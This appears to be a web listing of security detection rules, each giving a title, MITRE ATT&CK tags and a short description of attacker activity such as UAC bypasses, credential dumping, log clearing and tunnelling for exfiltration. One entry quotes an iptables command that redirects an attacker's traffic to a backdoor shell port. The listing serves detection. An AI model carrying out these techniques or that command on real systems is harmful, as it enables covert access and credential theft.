Aug 12, 2024 · attack.execution attack.t1106 attack.t1059 ·

Share on:

detects BPFDoor .lock and .pid files access in temporary file storage facility

Bpfdoor TCP Ports Redirect

Aug 12, 2024 · attack.defense-evasion attack.t1562.004 ·

Share on:

All TCP traffic on particular port from attacker is routed to different port. ex. '/sbin/iptables -t nat -D PREROUTING -p tcp -s 192.168.1.1 --dport 22 -j REDIRECT --to-ports 42392' The traffic looks like encrypted SSH communications going to TCP port 22, but in reality is being directed to the shell port once it hits the iptables rule for the attacker host only.

BPFtrace Unsafe Option Usage

Aug 12, 2024 · attack.execution attack.t1059.004 ·

Share on:

Detects the usage of the unsafe bpftrace option

Browser Execution In Headless Mode

Aug 12, 2024 · attack.command-and-control attack.t1105 ·

Share on:

Detects execution of Chromium based browser in headless mode

Browser Started with Remote Debugging

Aug 12, 2024 · attack.credential-access attack.t1185 ·

Share on:

Detects browsers starting with the remote debugging flags. Which is a technique often used to perform browser injection attacks

Bulk Deletion Changes To Privileged Account Permissions

Aug 12, 2024 · attack.persistence attack.t1098 ·

Share on:

Detects when a user is removed from a privileged role. Bulk changes should be investigated.

Bypass UAC Using DelegateExecute

Aug 12, 2024 · attack.privilege-escalation attack.defense-evasion attack.t1548.002 ·

Share on:

Bypasses User Account Control using a fileless method

Bypass UAC Using Event Viewer

Aug 12, 2024 · attack.persistence attack.t1547.010 ·

Share on:

Bypasses User Account Control using Event Viewer and a relevant Windows Registry modification

Bypass UAC Using SilentCleanup Task

Aug 12, 2024 · attack.privilege-escalation attack.defense-evasion attack.t1548.002 ·

Share on:

Detects the setting of the environement variable "windir" to a non default value. Attackers often abuse this variable in order to trigger a UAC bypass via the "SilentCleanup" task. The SilentCleanup task located in %windir%\system32\cleanmgr.exe is an auto-elevated task that can be abused to elevate any file with administrator privileges without prompting UAC.

Bypass UAC via CMSTP

Aug 12, 2024 · attack.privilege-escalation attack.defense-evasion attack.t1548.002 attack.t1218.003 ·

Share on:

Detect commandline usage of Microsoft Connection Manager Profile Installer (cmstp.exe) to install specially formatted local .INF files

Bypass UAC via Fodhelper.exe

Aug 12, 2024 · attack.privilege-escalation attack.t1548.002 ·

Share on:

Identifies use of Fodhelper.exe to bypass User Account Control. Adversaries use this technique to execute privileged processes.

Bypass UAC via WSReset.exe

Aug 12, 2024 · attack.privilege-escalation attack.defense-evasion attack.t1548.002 ·

Share on:

Detects use of WSReset.exe to bypass User Account Control (UAC). Adversaries use this technique to execute privileged processes.

C# IL Code Compilation Via Ilasm.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1127 ·

Share on:

Detects the use of "Ilasm.EXE" in order to compile C# intermediate (IL) code to EXE or DLL.

CA Policy Removed by Non Approved Actor

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.t1548 attack.t1556 ·

Share on:

Monitor and alert on conditional access changes where non approved actor removed CA Policy.

CA Policy Updated by Non Approved Actor

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.t1548 attack.t1556 ·

Share on:

Monitor and alert on conditional access changes. Is Initiated by (actor) approved to make changes? Review Modified Properties and compare "old" vs "new" value.

Capabilities Discovery - Linux

Aug 12, 2024 · attack.discovery attack.t1083 ·

Share on:

Detects usage of "getcap" binary. This is often used during recon activity to determine potential binaries that can be abused as GTFOBins or other.

Capture Credentials with Rpcping.exe

Aug 12, 2024 · attack.credential-access attack.t1003 ·

Share on:

Detects using Rpcping.exe to send a RPC test connection to the target server (-s) and force the NTLM hash to be sent in the process.

Cat Sudoers

Aug 12, 2024 · attack.reconnaissance attack.t1592.004 ·

Share on:

Detects the execution of a cat /etc/sudoers to list all users that have sudo rights

Certificate Exported From Local Certificate Store

Aug 12, 2024 · attack.credential-access attack.t1649 ·

Share on:

Detects when an application exports a certificate (and potentially the private key as well) from the local Windows certificate store.

Certificate Exported Via Certutil.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1027 ·

Share on:

Detects the execution of the certutil with the "exportPFX" flag which allows the utility to export certificates.

Certificate Exported Via PowerShell

Aug 12, 2024 · attack.credential-access attack.execution attack.t1552.004 attack.t1059.001 ·

Share on:

Detects calls to cmdlets that are used to export certificates from the local certificate store. Threat actors were seen abusing this to steal private keys from compromised machines.

Certificate Exported Via PowerShell - ScriptBlock

Aug 12, 2024 · attack.credential-access attack.t1552.004 ·

Share on:

Detects calls to cmdlets inside of PowerShell scripts that are used to export certificates from the local certificate store. Threat actors were seen abusing this to steal private keys from compromised machines.

Certificate Private Key Acquired

Aug 12, 2024 · attack.credential-access attack.t1649 ·

Share on:

Detects when an application acquires a certificate private key

Certificate Request Export to Exchange Webserver

Aug 12, 2024 · attack.persistence attack.t1505.003 ·

Share on:

Detects a write of an Exchange CSR to an untypical directory or with aspx name suffix which can be used to place a webshell

Certificate-Based Authentication Enabled

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.t1556 ·

Share on:

Detects when certificate based authentication has been enabled in an Azure Active Directory tenant.

Chafer Malware URL Pattern

Aug 12, 2024 · attack.command-and-control attack.t1071.001 ·

Share on:

Detects HTTP request used by Chafer malware to receive data from its C2.

Change Default File Association To Executable Via Assoc

Aug 12, 2024 · attack.persistence attack.t1546.001 ·

Share on:

Detects when a program changes the default file association of any extension to an executable. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility. Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.

Change Default File Association Via Assoc

Aug 12, 2024 · attack.persistence attack.t1546.001 ·

Share on:

Detects file association changes using the builtin "assoc" command. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility. Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.

Change PowerShell Policies to an Insecure Level

Aug 12, 2024 · attack.execution attack.t1059.001 ·

Share on:

Detects changing the PowerShell script execution policy to a potentially insecure level using the "-ExecutionPolicy" flag.

Change PowerShell Policies to an Insecure Level - PowerShell

Aug 12, 2024 · attack.execution attack.t1059.001 ·

Share on:

Detects changing the PowerShell script execution policy to a potentially insecure level using the "Set-ExecutionPolicy" cmdlet.

Change the Fax Dll

Aug 12, 2024 · attack.defense-evasion attack.t1112 ·

Share on:

Detect possible persistence using Fax DLL load when service restart

Change to Authentication Method

Aug 12, 2024 · attack.credential-access attack.t1556 attack.persistence attack.defense-evasion attack.t1098 ·

Share on:

Change to authentication method could be an indicator of an attacker adding an auth method to the account so they can have continued access.

Change User Account Associated with the FAX Service

Aug 12, 2024 · attack.defense-evasion attack.t1112 ·

Share on:

Detect change of the user account associated with the FAX service to avoid the escalation problem.

Change User Agents with WebRequest

Aug 12, 2024 · attack.command-and-control attack.t1071.001 ·

Share on:

Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.

Changes to Device Registration Policy

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1484 ·

Share on:

Monitor and alert for changes to the device registration policy.

Changes To PIM Settings

Aug 12, 2024 · attack.privilege-escalation attack.persistence attack.t1078.004 ·

Share on:

Detects when changes are made to PIM roles

Changing Existing Service ImagePath Value Via Reg.EXE

Aug 12, 2024 · attack.persistence attack.t1574.011 ·

Share on:

Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start. Windows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services

Chmod Suspicious Directory

Aug 12, 2024 · attack.defense-evasion attack.t1222.002 ·

Share on:

Detects chmod targeting files in abnormal directory paths.

Chopper Webshell Process Pattern

Aug 12, 2024 · attack.persistence attack.t1505.003 attack.t1018 attack.t1033 attack.t1087 ·

Share on:

Detects patterns found in process executions cause by China Chopper like tiny (ASPX) webshells

Chromium Browser Headless Execution To Mockbin Like Site

Aug 12, 2024 · attack.execution ·

Share on:

Detects the execution of a Chromium based browser process with the "headless" flag and a URL pointing to the mockbin.org service (which can be used to exfiltrate data).

Cisco ASA FTD Exploit CVE-2020-3452

Aug 12, 2024 · attack.t1190 attack.initial-access cve.2020-3452 detection.emerging-threats ·

Share on:

Detects exploitation attempts on Cisco ASA FTD systems exploiting CVE-2020-3452 with a status code of 200 (sccessful exploitation)

Cisco BGP Authentication Failures

Aug 12, 2024 · attack.initial-access attack.persistence attack.privilege-escalation attack.defense-evasion attack.credential-access attack.collection attack.t1078 attack.t1110 attack.t1557 ·

Share on:

Detects BGP failures which may be indicative of brute force attacks to manipulate routing

Cisco Clear Logs

Aug 12, 2024 · attack.defense-evasion attack.t1070.003 ·

Share on:

Clear command history in network OS which is used for defense evasion

Cisco Collect Data

Aug 12, 2024 · attack.discovery attack.credential-access attack.collection attack.t1087.001 attack.t1552.001 attack.t1005 ·

Share on:

Collect pertinent data from the configuration files

Cisco Crypto Commands

Aug 12, 2024 · attack.credential-access attack.defense-evasion attack.t1553.004 attack.t1552.004 ·

Share on:

Show when private keys are being exported from the device, or when new certificates are installed

Cisco Denial of Service

Aug 12, 2024 · attack.impact attack.t1495 attack.t1529 attack.t1565.001 ·

Share on:

Detect a system being shutdown or put into different boot mode

Cisco Disabling Logging

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·

Share on:

Turn off logging locally or remote

Cisco Discovery

Aug 12, 2024 · attack.discovery attack.t1083 attack.t1201 attack.t1057 attack.t1018 attack.t1082 attack.t1016 attack.t1049 attack.t1033 attack.t1124 ·

Share on:

Find information about network devices that is not stored in config files

Cisco File Deletion

Aug 12, 2024 · attack.defense-evasion attack.impact attack.t1070.004 attack.t1561.001 attack.t1561.002 ·

Share on:

See what files are being deleted from flash file systems

Cisco LDP Authentication Failures

Aug 12, 2024 · attack.initial-access attack.persistence attack.privilege-escalation attack.defense-evasion attack.credential-access attack.collection attack.t1078 attack.t1110 attack.t1557 ·

Share on:

Detects LDP failures which may be indicative of brute force attacks to manipulate MPLS labels

Cisco Local Accounts

Aug 12, 2024 · attack.persistence attack.t1136.001 attack.t1098 ·

Share on:

Find local accounts being created or modified as well as remote authentication configurations

Cisco Modify Configuration

Aug 12, 2024 · attack.persistence attack.impact attack.t1490 attack.t1505 attack.t1565.002 attack.t1053 ·

Share on:

Modifications to a config that will serve an adversary's impacts or persistence

Cisco Show Commands Input

Aug 12, 2024 · attack.credential-access attack.t1552.003 ·

Share on:

See what commands are being input into the device by other people, full credentials can be in the history

Cisco Sniffing

Aug 12, 2024 · attack.credential-access attack.discovery attack.t1040 ·

Share on:

Show when a monitor or a span/rspan is setup or modified

Cisco Stage Data

Aug 12, 2024 · attack.collection attack.lateral-movement attack.command-and-control attack.exfiltration attack.t1074 attack.t1105 attack.t1560.001 ·

Share on:

Various protocols maybe used to put data on the device for exfil or infil

Citrix ADS Exploitation CVE-2020-8193 CVE-2020-8195

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2020-8193 cve.2020-8195 detection.emerging-threats ·

Share on:

Detects exploitation attempt against Citrix Netscaler, Application Delivery Controller (ADS) and Citrix Gateway exploiting vulnerabilities reported as CVE-2020-8193 and CVE-2020-8195

Citrix Netscaler Attack CVE-2019-19781

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2019-19781 detection.emerging-threats ·

Share on:

Detects CVE-2019-19781 exploitation attempt against Citrix Netscaler, Application Delivery Controller and Citrix Gateway Attack

Classes Autorun Keys Modification

Aug 12, 2024 · attack.persistence attack.t1547.001 ·

Share on:

Detects modification of autostart extensibility point (ASEP) in registry.

Clear Linux Logs

Aug 12, 2024 · attack.defense-evasion attack.t1070.002 ·

Share on:

Detects attempts to clear logs on the system. Adversaries may clear system logs to hide evidence of an intrusion

Clearing Windows Console History

Aug 12, 2024 · attack.defense-evasion attack.t1070 attack.t1070.003 ·

Share on:

Identifies when a user attempts to clear console history. An adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion.

Cleartext Protocol Usage

Aug 12, 2024 · attack.credential-access ·

Share on:

Ensure that all account usernames and authentication credentials are transmitted across networks using encrypted channels. Ensure that an encryption is used for all sensitive information in transit. Ensure that an encrypted channels is used for all administrative account access.

Cleartext Protocol Usage Via Netflow

Aug 12, 2024 · attack.credential-access ·

Share on:

Ensure that all account usernames and authentication credentials are transmitted across networks using encrypted channels Ensure that an encryption is used for all sensitive information in transit. Ensure that an encrypted channels is used for all administrative account access.

ClickOnce Trust Prompt Tampering

Aug 12, 2024 · attack.defense-evasion attack.t1112 ·

Share on:

Detects changes to the ClickOnce trust prompt registry key in order to enable an installation from different locations such as the Internet.

Clipboard Collection of Image Data with Xclip Tool

Aug 12, 2024 · attack.collection attack.t1115 ·

Share on:

Detects attempts to collect image data stored in the clipboard from users with the usage of xclip tool. Xclip has to be installed. Highly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.

Clipboard Collection with Xclip Tool

Aug 12, 2024 · attack.collection attack.t1115 ·

Share on:

Detects attempts to collect data stored in the clipboard from users with the usage of xclip tool. Xclip has to be installed. Highly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.

Clipboard Collection with Xclip Tool - Auditd

Aug 12, 2024 · attack.collection attack.t1115 ·

Share on:

Detects attempts to collect data stored in the clipboard from users with the usage of xclip tool. Xclip has to be installed. Highly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.

Clipboard Data Collection Via OSAScript

Aug 12, 2024 · attack.collection attack.execution attack.t1115 attack.t1059.002 ·

Share on:

Detects possible collection of data from the clipboard via execution of the osascript binary

CLR DLL Loaded Via Office Applications

Aug 12, 2024 · attack.execution attack.t1204.002 ·

Share on:

Detects CLR DLL being loaded by an Office Product

Cmd.EXE Missing Space Characters Execution Anomaly

Aug 12, 2024 · attack.execution attack.t1059.001 ·

Share on:

Detects Windows command lines that miss a space before or after the /c flag when running a command using the cmd.exe. This could be a sign of obfuscation of a fat finger problem (typo by the developer).

CMSTP Execution Process Access

Aug 12, 2024 · attack.defense-evasion attack.t1218.003 attack.execution attack.t1559.001 attack.g0069 attack.g0080 car.2019-04-001 ·

Share on:

Detects various indicators of Microsoft Connection Manager Profile Installer execution

CMSTP Execution Process Creation

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1218.003 attack.g0069 car.2019-04-001 ·

Share on:

Detects various indicators of Microsoft Connection Manager Profile Installer execution

CMSTP Execution Registry Event

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1218.003 attack.g0069 car.2019-04-001 ·

Share on:

Detects various indicators of Microsoft Connection Manager Profile Installer execution

Cobalt Strike DNS Beaconing

Aug 12, 2024 · attack.command-and-control attack.t1071.004 ·

Share on:

Detects suspicious DNS queries known from Cobalt Strike beacons

CobaltStrike Load by Rundll32

Aug 12, 2024 · attack.defense-evasion attack.t1218.011 ·

Share on:

Rundll32 can be use by Cobalt Strike with StartW function to load DLLs from the command line.

CobaltStrike Named Pipe

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1055 ·

Share on:

Detects the creation of a named pipe as used by CobaltStrike

CobaltStrike Named Pipe Pattern Regex

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1055 ·

Share on:

Detects the creation of a named pipe matching a pattern used by CobaltStrike Malleable C2 profiles

CobaltStrike Named Pipe Patterns

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1055 stp.1k ·

Share on:

Detects the creation of a named pipe with a pattern found in CobaltStrike malleable C2 profiles

CobaltStrike Service Installations - Security

Aug 12, 2024 · attack.execution attack.privilege-escalation attack.lateral-movement attack.t1021.002 attack.t1543.003 attack.t1569.002 ·

Share on:

Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement

CobaltStrike Service Installations - System

Aug 12, 2024 · attack.execution attack.privilege-escalation attack.lateral-movement attack.t1021.002 attack.t1543.003 attack.t1569.002 ·

Share on:

Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement

Code Executed Via Office Add-in XLL File

Aug 12, 2024 · attack.persistence attack.t1137.006 ·

Share on:

Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs

Code Execution via Pcwutl.dll

Aug 12, 2024 · attack.defense-evasion attack.t1218.011 ·

Share on:

Detects launch of executable by calling the LaunchApplication function from pcwutl.dll library.

Code Injection by ld.so Preload

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.t1574.006 ·

Share on:

Detects the ld.so preload persistence file. See man ld.so for more information.

CodeIntegrity - Blocked Driver Load With Revoked Certificate

Aug 12, 2024 · attack.privilege-escalation attack.t1543 ·

Share on:

Detects blocked load attempts of revoked drivers

CodeIntegrity - Blocked Image Load With Revoked Certificate

Aug 12, 2024 · attack.privilege-escalation ·

Share on:

Detects blocked image load events with revoked certificates by code integrity.

CodeIntegrity - Blocked Image/Driver Load For Policy Violation

Aug 12, 2024 · attack.privilege-escalation attack.t1543 ·

Share on:

Detects blocked load events that did not meet the authenticode signing level requirements or violated the code integrity policy.

CodeIntegrity - Disallowed File For Protected Processes Has Been Blocked

Aug 12, 2024 · attack.privilege-escalation ·

Share on:

Detects block events for files that are disallowed by code integrity for protected processes

CodeIntegrity - Revoked Image Loaded

Aug 12, 2024 · attack.privilege-escalation ·

Share on:

Detects image load events with revoked certificates by code integrity.

CodeIntegrity - Revoked Kernel Driver Loaded

Aug 12, 2024 · attack.privilege-escalation ·

Share on:

Detects the load of a revoked kernel driver

CodeIntegrity - Unmet WHQL Requirements For Loaded Kernel Module

Aug 12, 2024 · attack.privilege-escalation ·

Share on:

Detects loaded kernel modules that did not meet the WHQL signing requirements.

CodeIntegrity - Unsigned Image Loaded

Aug 12, 2024 · attack.privilege-escalation ·

Share on:

Detects loaded unsigned image on the system

CodeIntegrity - Unsigned Kernel Module Loaded

Aug 12, 2024 · attack.privilege-escalation ·

Share on:

Detects the presence of a loaded unsigned kernel module on the system.

COLDSTEEL Persistence Service Creation

Aug 12, 2024 · attack.defense-evasion attack.persistence detection.emerging-threats ·

Share on:

Detects the creation of new services potentially related to COLDSTEEL RAT

COLDSTEEL RAT Anonymous User Process Execution

Aug 12, 2024 · attack.persistence attack.defense-evasion detection.emerging-threats ·

Share on:

Detects the creation of a process executing as user called "ANONYMOUS" seen used by the "MileStone2016" variant of COLDSTEEL

COLDSTEEL RAT Cleanup Command Execution

Aug 12, 2024 · attack.persistence attack.defense-evasion detection.emerging-threats ·

Share on:

Detects the creation of a "rundll32" process from the ColdSteel persistence service to initiate the cleanup command by calling one of its own exports. This functionality is not present in "MileStone2017" and some "MileStone2016" samples

COLDSTEEL RAT Service Persistence Execution

Aug 12, 2024 · attack.persistence attack.defense-evasion detection.emerging-threats ·

Share on:

Detects the creation of an "svchost" process with specific command line flags, that were seen present and used by ColdSteel RAT

COM Hijack via Sdclt

Aug 12, 2024 · attack.privilege-escalation attack.t1546 attack.t1548 ·

Share on:

Detects changes to 'HKCU\Software\Classes\Folder\shell\open\command\DelegateExecute'

COM Hijacking via TreatAs

Aug 12, 2024 · attack.persistence attack.t1546.015 ·

Share on:

Detect modification of TreatAs key to enable "rundll32.exe -sta" command

Command Line Execution with Suspicious URL and AppData Strings

Aug 12, 2024 · attack.execution attack.command-and-control attack.t1059.003 attack.t1059.001 attack.t1105 ·

Share on:

Detects a suspicious command line execution that includes an URL and AppData string in the command line parameters as used by several droppers (js/vbs > powershell)

Commands to Clear or Remove the Syslog

Aug 12, 2024 · attack.defense-evasion attack.t1070.002 ·

Share on:

Detects specific commands commonly used to remove or empty the syslog. Which is often used by attacker as a method to hide their tracks

Commands to Clear or Remove the Syslog - Builtin

Aug 12, 2024 · attack.impact attack.t1565.001 ·

Share on:

Detects specific commands commonly used to remove or empty the syslog

Common Autorun Keys Modification

Aug 12, 2024 · attack.persistence attack.t1547.001 ·

Share on:

Detects modification of autostart extensibility point (ASEP) in registry.

Communication To LocaltoNet Tunneling Service Initiated

Aug 12, 2024 · attack.command-and-control attack.t1572 attack.t1090 attack.t1102 ·

Share on:

Detects an executable initiating a network connection to "LocaltoNet" tunneling sub-domains. LocaltoNet is a reverse proxy that enables localhost services to be exposed to the Internet. Attackers have been seen to use this service for command-and-control activities to bypass MFA and perimeter controls.

Communication To LocaltoNet Tunneling Service Initiated - Linux

Aug 12, 2024 · attack.command-and-control attack.t1572 attack.t1090 attack.t1102 ·

Share on:

Detects an executable initiating a network connection to "LocaltoNet" tunneling sub-domains. LocaltoNet is a reverse proxy that enables localhost services to be exposed to the Internet. Attackers have been seen to use this service for command-and-control activities to bypass MFA and perimeter controls.

Communication To Ngrok Tunneling Service - Linux

Aug 12, 2024 · attack.exfiltration attack.command-and-control attack.t1567 attack.t1568.002 attack.t1572 attack.t1090 attack.t1102 attack.s0508 ·

Share on:

Detects an executable accessing an ngrok tunneling endpoint, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors

Communication To Ngrok Tunneling Service Initiated

Aug 12, 2024 · attack.exfiltration attack.command-and-control attack.t1567 attack.t1568.002 attack.t1572 attack.t1090 attack.t1102 attack.s0508 ·

Share on:

Detects an executable initiating a network connection to "ngrok" tunneling domains. Attackers were seen using this "ngrok" in order to store their second stage payloads and malware. While communication with such domains can be legitimate, often times is a sign of either data exfiltration by malicious actors or additional download.

Communication To Uncommon Destination Ports

Aug 12, 2024 · attack.persistence attack.command-and-control attack.t1571 ·

Share on:

Detects programs that connect to uncommon destination ports

Compress Data and Lock With Password for Exfiltration With 7-ZIP

Aug 12, 2024 · attack.collection attack.t1560.001 ·

Share on:

An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party utilities

Compress Data and Lock With Password for Exfiltration With WINZIP

Aug 12, 2024 · attack.collection attack.t1560.001 ·

Share on:

An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party utilities

Computer Discovery And Export Via Get-ADComputer Cmdlet

Aug 12, 2024 · attack.discovery attack.t1033 ·

Share on:

Detects usage of the Get-ADComputer cmdlet to collect computer information and output it to a file

Computer Discovery And Export Via Get-ADComputer Cmdlet - PowerShell

Aug 12, 2024 · attack.discovery attack.t1033 ·

Share on:

Detects usage of the Get-ADComputer cmdlet to collect computer information and output it to a file

Computer Password Change Via Ksetup.EXE

Aug 12, 2024 · attack.execution ·

Share on:

Detects password change for the computer's domain account or host principal via "ksetup.exe"

Computer System Reconnaissance Via Wmic.EXE

Aug 12, 2024 · attack.discovery attack.execution attack.t1047 ·

Share on:

Detects execution of wmic utility with the "computersystem" flag in order to obtain information about the machine such as the domain, username, model, etc.

ComRAT Network Communication

Aug 12, 2024 · attack.defense-evasion attack.command-and-control attack.t1071.001 attack.g0010 ·

Share on:

Detects Turla ComRAT network communication.

Confluence Exploitation CVE-2019-3398

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2019-3398 detection.emerging-threats ·

Share on:

Detects the exploitation of the Confluence vulnerability described in CVE-2019-3398

Conhost.exe CommandLine Path Traversal

Aug 12, 2024 · attack.execution attack.t1059.003 ·

Share on:

detects the usage of path traversal in conhost.exe indicating possible command/argument confusion/hijacking

Connection Proxy

Aug 12, 2024 · attack.defense-evasion attack.t1090 ·

Share on:

Detects setting proxy configuration

Container Residence Discovery Via Proc Virtual FS

Aug 12, 2024 · attack.discovery attack.t1082 ·

Share on:

Detects potential container discovery via listing of certain kernel features in the "/proc" virtual filesystem

Conti NTDS Exfiltration Command

Aug 12, 2024 · attack.collection attack.t1560 detection.emerging-threats ·

Share on:

Detects a command used by conti to exfiltrate NTDS

Conti Volume Shadow Listing

Aug 12, 2024 · attack.t1587.001 attack.resource-development detection.emerging-threats ·

Share on:

Detects a command used by conti to find volume shadow backups

Control Panel Items

Aug 12, 2024 · attack.execution attack.defense-evasion attack.t1218.002 attack.persistence attack.t1546 ·

Share on:

Detects the malicious use of a control panel item

ConvertTo-SecureString Cmdlet Usage Via CommandLine

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects usage of the "ConvertTo-SecureString" cmdlet via the commandline. Which is fairly uncommon and could indicate potential suspicious activity

Copy .DMP/.DUMP Files From Remote Share Via Cmd.EXE

Aug 12, 2024 · attack.credential-access ·

Share on:

Detects usage of the copy builtin cmd command to copy files with the ".dmp"/".dump" extension from a remote share

Copy From Or To Admin Share Or Sysvol Folder

Aug 12, 2024 · attack.lateral-movement attack.collection attack.exfiltration attack.t1039 attack.t1048 attack.t1021.002 ·

Share on:

Detects a copy command or a copy utility execution to or from an Admin share or remote

Copy From VolumeShadowCopy Via Cmd.EXE

Aug 12, 2024 · attack.impact attack.t1490 ·

Share on:

Detects the execution of the builtin "copy" command that targets a shadow copy (sometimes used to copy registry hives that are in use)

Copy Passwd Or Shadow From TMP Path

Aug 12, 2024 · attack.credential-access attack.t1552.001 ·

Share on:

Detects when the file "passwd" or "shadow" is copied from tmp path

Copying Sensitive Files with Credential Data

Aug 12, 2024 · attack.credential-access attack.t1003.002 attack.t1003.003 car.2013-07-001 attack.s0404 ·

Share on:

Files with well-known filenames (sensitive files with credential data) copying

CosmicDuke Service Installation

Aug 12, 2024 · attack.persistence attack.t1543.003 attack.t1569.002 detection.emerging-threats ·

Share on:

Detects the installation of a service named "javamtsup" on the system. The CosmicDuke info stealer uses Windows services typically named "javamtsup" for persistence.

CrashControl CrashDump Disabled

Aug 12, 2024 · attack.t1564 attack.t1112 ·

Share on:

Detects disabling the CrashDump per registry (as used by HermeticWiper)

Create Volume Shadow Copy with Powershell

Aug 12, 2024 · attack.credential-access attack.t1003.003 ·

Share on:

Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information

Created Files by Microsoft Sync Center

Aug 12, 2024 · attack.t1055 attack.t1218 attack.execution attack.defense-evasion ·

Share on:

This rule detects suspicious files created by Microsoft Sync Center (mobsync)

CreateDump Process Dump

Aug 12, 2024 · attack.defense-evasion attack.t1036 attack.t1003.001 ·

Share on:

Detects uses of the createdump.exe LOLOBIN utility to dump process memory

Creation Exe for Service with Unquoted Path

Aug 12, 2024 · attack.persistence attack.t1547.009 ·

Share on:

Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.

Creation of a Diagcab

Aug 12, 2024 · attack.resource-development ·

Share on:

Detects the creation of diagcab file, which could be caused by some legitimate installer or is a sign of exploitation (review the filename and its location)

Creation of a Local Hidden User Account by Registry

Aug 12, 2024 · attack.persistence attack.t1136.001 ·

Share on:

Sysmon registry detection of a local hidden user account.

Creation Of A Local User Account

Aug 12, 2024 · attack.t1136.001 attack.persistence ·

Share on:

Detects the creation of a new user account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.

Creation Of a Suspicious ADS File Outside a Browser Download

Aug 12, 2024 · attack.defense-evasion ·

Share on:

Detects the creation of a suspicious ADS (Alternate Data Stream) file by software other than browsers

Creation Of An User Account

Aug 12, 2024 · attack.t1136.001 attack.persistence ·

Share on:

Detects the creation of a new user account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.

Creation Of Non-Existent System DLL

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.privilege-escalation attack.t1574.001 attack.t1574.002 ·

Share on:

Detects the creation of system DLLs that are usually not present on the system (or at least not in system directories). Usually this technique is used to achieve DLL hijacking.

Cred Dump Tools Dropped Files

Aug 12, 2024 · attack.credential-access attack.t1003.001 attack.t1003.002 attack.t1003.003 attack.t1003.004 attack.t1003.005 ·

Share on:

Files with well-known filenames (parts of credential dump software or files produced by them) creation

Credential Dumping Activity By Python Based Tool

Aug 12, 2024 · attack.credential-access attack.t1003.001 attack.s0349 ·

Share on:

Detects LSASS process access for potential credential dumping by a Python-like tool such as LaZagne or Pypykatz.

Credential Dumping Attempt Via Svchost

Aug 12, 2024 · attack.t1548 ·

Share on:

Detects when a process tries to access the memory of svchost to potentially dump credentials.

Credential Dumping Attempt Via WerFault

Aug 12, 2024 · attack.credential-access attack.t1003.001 attack.s0002 ·

Share on:

Detects process LSASS memory dump using Mimikatz, NanoDump, Invoke-Mimikatz, Procdump or Taskmgr based on the CallTrace pointing to ntdll.dll, dbghelp.dll or dbgcore.dll for win10, server2016 and up.

Credential Dumping Tools Service Execution - Security

Aug 12, 2024 · attack.credential-access attack.execution attack.t1003.001 attack.t1003.002 attack.t1003.004 attack.t1003.005 attack.t1003.006 attack.t1569.002 attack.s0005 ·

Share on:

Detects well-known credential dumping tools execution via service execution events

Credential Dumping Tools Service Execution - System

Aug 12, 2024 · attack.credential-access attack.execution attack.t1003.001 attack.t1003.002 attack.t1003.004 attack.t1003.005 attack.t1003.006 attack.t1569.002 attack.s0005 ·

Share on:

Detects well-known credential dumping tools execution via service execution events

Credential Manager Access By Uncommon Applications

Aug 12, 2024 · attack.t1003 attack.credential-access ·

Share on:

Detects suspicious processes based on name and location that access the windows credential manager and vault. Which can be a sign of credential stealing. Example case would be usage of mimikatz "dpapi::cred" function

Credentials from Password Stores - Keychain

Aug 12, 2024 · attack.credential-access attack.t1555.001 ·

Share on:

Detects passwords dumps from Keychain

Credentials In Files

Aug 12, 2024 · attack.credential-access attack.t1552.001 ·

Share on:

Detecting attempts to extract passwords with grep and laZagne

Credentials In Files - Linux

Aug 12, 2024 · attack.credential-access attack.t1552.001 ·

Share on:

Detecting attempts to extract passwords with grep

CredUI.DLL Loaded By Uncommon Process

Aug 12, 2024 · attack.credential-access attack.collection attack.t1056.002 ·

Share on:

Detects loading of "credui.dll" and related DLLs by an uncommon process. Attackers might leverage this DLL for potential use of "CredUIPromptForCredentials" or "CredUnPackAuthenticationBufferW".

